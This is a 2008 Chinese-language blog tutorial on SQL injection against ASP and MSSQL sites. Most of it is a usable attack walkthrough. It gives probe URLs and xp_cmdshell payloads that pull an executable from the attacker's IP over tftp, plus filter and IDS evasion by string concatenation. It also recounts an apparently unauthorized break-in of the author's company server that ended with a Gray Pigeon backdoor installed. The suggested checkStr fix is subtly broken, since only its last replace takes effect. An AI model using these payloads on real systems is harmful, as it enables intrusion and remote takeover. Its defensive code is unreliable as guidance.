2008年7月25日 星期五

SQL injection的實現與應用

SQL injection可以說是一種漏洞,也可以說成是一種攻擊方法,程式中的變量處理不當,對用戶提交的資料過濾不足,都可能產生這個漏洞,而攻擊原理就是利用用戶提交或可修改的資料,把想要的SQL語句插入到系統實際SQL語句中,輕則獲得敏感的資訊,重則控制服務器。SQL injection並不緊緊侷限在Mssql數據庫中,Access、Mysql、Oracle、Sybase都可以進行SQL injection攻擊。

  isno的《SQL injection攻擊技術》是一篇不可多得的好文章,大家可以看看,但是程式畢竟是各種各樣的,有些可以通過修改URL數據來提交命令或語句,有些則不行,不能打URL的主意,怎麼辦呢?通過修改<input>標籤內的value的值也可以提交我們構造的語句,SQL injection是很靈活的技術,但我們的目的只有一個,就是想方設法饒過程式或IDS的檢測和處理提交我們構造的有效語句。

檢測漏洞
  在大多數ASP站點中,我們並不知道其程式代碼,靠任何掃瞄器也不可能發現SQL injection漏洞,這時就要靠手工檢測了,由於我們執行SQL語句要用到單引號、分號、逗號、冒號和「--」,所以我們就在可修改的URL後加上以上符號,或在表單中的文本框加上這些符號,比如:

http://localhost/show.asp?id=1'
http://localhost/show.asp?id=1;
……



  通過頁面返回的訊息,判斷是否存在SQL injection漏洞,只是最簡單的通過字符過濾來判斷,根據IIS配置不同,返回的訊息是不定的,有時顯示:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e21'
ODBC 驅動程式不支持所需的屬性。
/register/lostpass2.asp,行15


  有時可能會顯示「HTTP 500 - 內部服務器錯誤」,也可能顯示原來的頁面,也就是頁面正常顯示,更可能提示「HTTP 404 – 找不到該頁」,判斷是否有漏洞就要有個最基本的根據——經驗,原來我剛開始學習的時候認為我們公司沒有這個漏洞,但小叮噹告訴我,返回的訊息僅僅是個根據,更重要的是經驗,結果我們公司就在2小時內被他利用SQL injection漏洞進入了,還開了一個telnet服務……

  如果能拿到源代碼就更好了,可以通過分析源代碼來發現ASP文件的問題,不過這要求有較高的編程功底,最近PsKey就發現了不少程式存在SQL injection漏洞。真是個厲害角色。

提交資料
  我們判斷出一個ASP程式存在SQL injection漏洞以後就要構造我們的語句來對服務器進行操作了,一般我們的目的是控制SQL服務器查閱信息甚至操作系統。所以我們要用到 xp_cmdshell這個擴展存儲過程,xp_cmdshell是一個非常有用的擴展存儲過程,用於執行系統命令,比如dir,我們可以根據程式的不同,提交不同的語句,下例語句僅僅是個參考,告訴大家這個原理,實際情況視程式而定,照搬不一定成功,下同。

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--


  正如前面所說,提交這樣的信息瀏覽器會返回出錯信息或500錯誤,我們怎麼才能知道執行是否成功呢?isno的辦法是用nc監聽本機端口,然後提交nslookup命令來查詢,我個人覺得有些麻煩,直接用tftp來有多種好處,能知道命令是否成功執行;能獲得SQL服務器的IP從而判斷SQL服務器的位置;還能節省一些步驟直接上傳文件到SQL服務器。利用xp_cmdshell擴展存儲過程執行tftp命令,在玩unicode漏洞的時候大家就爐火純青了吧?例如:

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'--


  有時提交的資料並不一定起作用,看你怎麼繞過程式的檢測了,如果幸運成功的話,可以看到tftp軟件的窗口出現從本機下載文件的訊息了。

  對話框中的IP地址就是SQL服務器的IP,可以根據這個IP判斷SQL服務器處於什麼位置,和web服務器一起,在局域網內,還是單獨的服務器,就自己判斷了,此知識點不在本文討論範圍內,就此略過。命令執行成功以後,就可以替換單引號中的內容,添加用戶、提升權限做什麼都隨便大家了,不過要看看連接SQL服務器的這個角色是什麼組的了。

饒過程式/IDS檢測
  大多數時候,情況並非我們想像的那麼順利,明明字符過濾不完善,但程式或IDS檢測到用戶提交某個擴展存儲過程或系統命令,就自動轉換或拆分字符,讓我們提交的數據分家或改變導致失效,怎麼辦呢?我記得我為了弄清如何饒過IDS檢測,花了兩節課的時間來思考,還寫寫畫畫浪費了半本筆記本,又經過小叮噹的提示,就產生一個思路:拆分命令字符串,賦值給變量,然後把變量組合起來提交,這樣就不會分家了,下面給出兩個例子:


declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+』dshell' exec @a 'dir c:\'


  有時候並不需要這樣,只要把某些字符換ASCII代碼,同樣也可以成功執行,這個我還沒有條件試,如果哪位高人有這方面的研究,請賜教。

實戰
  我們公司的站點做得不錯,上次發表了《由公司看網路安全現況》以後,公司的安全性各方面都有些提高,監控程式接近變態,為什麼這樣說呢?添加了幾十個守護進程,動不動就死機、藍屏,不過我又破了,包括最令公司自豪的硬碟保護卡。(有人要問我為什麼都拿自己公司開刀?因為作為一個安全技術愛好者連自己的公司都搞不定還怎麼混啊?而且可以間接提醒一下管理員,因為我們公司的管理員對安全性不是很在乎)可見安全沒有絕對的,當然也不可能十全十美,儘管用掃瞄器找不到任何漏洞,但利用SQL injection漏洞卻可以輕易攻破,看看整個站點,沒有任何URL參數,文章是靜態的頁面,只有一個註冊系統和動網論壇,動網論壇是SQL版的,自己修改過,所以比較安全,最新的漏洞沒有。由於公司有條件,所以全站是基於ASP+SQL,為我們利用SQL injection漏洞打下基礎,註冊系統有個忘記密碼功能,文件是lostpass.asp,提交用戶以後轉到lostpass1.asp,提交單引號和分號都提示錯誤,看來是沒有過濾好,於是我提交以下命令:

exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
exec master..xp_cmdshell 'tftp –i youip get file.exe'--
xp_cmdshell 'tftp –i youip get file.exe';--
……


  執行了N條指令(N>50),都不見效,算了,先放棄,再看看還有什麼文件可以利用,不久發現shownews.asp這個文件,通常可以執行系統命令的都是這類顯示文章、資料等等文件,我想公司的開發人員的安全意識應該還沒有那麼強,所以著實開心了一陣,馬上試試:


http://ourschool/shownews.asp?newsid=1;
http://ourschool/shownews.asp?newsid=1'


  呵呵,返回「HTTP 500 - 內部服務器錯誤」憑經驗漏洞存在,OK,馬上輸入:

http://ourschool/shownews.asp?newsid=1'exec master..xp_cmdshell 'tftp -i myip get flash.exe';--
http://ourschool/shownews.asp?newsid=1;exec master..xp_cmdshell 'tftp -i myip get flash.exe;--
……
http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--


  試到這句的時候,終於發現tftp軟件的窗口有提示了,大家可以參考前面的那個截圖,我們已經成功了,我的經驗告訴我,連接SQL資料庫的角色是Sysadmin組的,因為我們公司是獨立的服務器,所以權限應該很高,我們可以執行任意命令,只要替換http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--這句單引號裡的命令即可,為了快點結束戰鬥,我還是傳了個灰鴿子上去,剛才傳的flash.exe就是客戶端:)事後證明,連接資料的果然是sa,善後工作就不寫了,反正大家都知道。

  整個過程看起來很簡單,執行一些語句就可以了,其實提交數據的時候,由於我事先沒有看過shownews.asp的代碼(後來我看了),提交了不下20次無效的語句,走了不少彎路,不過對SQL Injection的高手來說這些都是一些皮毛,這篇文章只不過是有個引導作用罷了。

解決辦法
  事後分析了一下(多謝PsKey的指導)shownews.asp,發現有這個文件完全沒有做任何過濾,裡面有這麼一句:

rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1

  可以直接構造 newsid 發動sql injection攻擊,針對這個文件的解決辦法就是用replace函數過濾,看看下面的一個函數:

<% function checkStr(str) if isnull(str) then checkStr = "" exit function end if checkStr=replace(str,"'","") checkStr=replace(str,";","") checkStr=replace(str,"--","") end function %>


  需要從根本上解決解決SQL Injection問題。還得從程式本身入手。過濾不能單純的過濾URL所提交的參數,在表單裡的也要過濾,value=後面的可以修改的資料,修改後可以提交到服務器,總之對所有的表單提交的以及資料用戶可能對HTML源文件進行修改來控制的所有來自Web服務器外部的資料進行過濾或轉換對單引號、雙引號、分號「--」還有對數字鍵上面的所有特殊字符進行過濾,還有QUERY_STRING環境變量。在服務器上刪除一些危險的擴展存儲過程,比如 xp_cmdshell。有條件裝個IDS更好,不敢說無堅不摧,但至少可以阻擋大部分攻擊者。

引用來源

【下列文章您可能也有興趣】

沒有留言: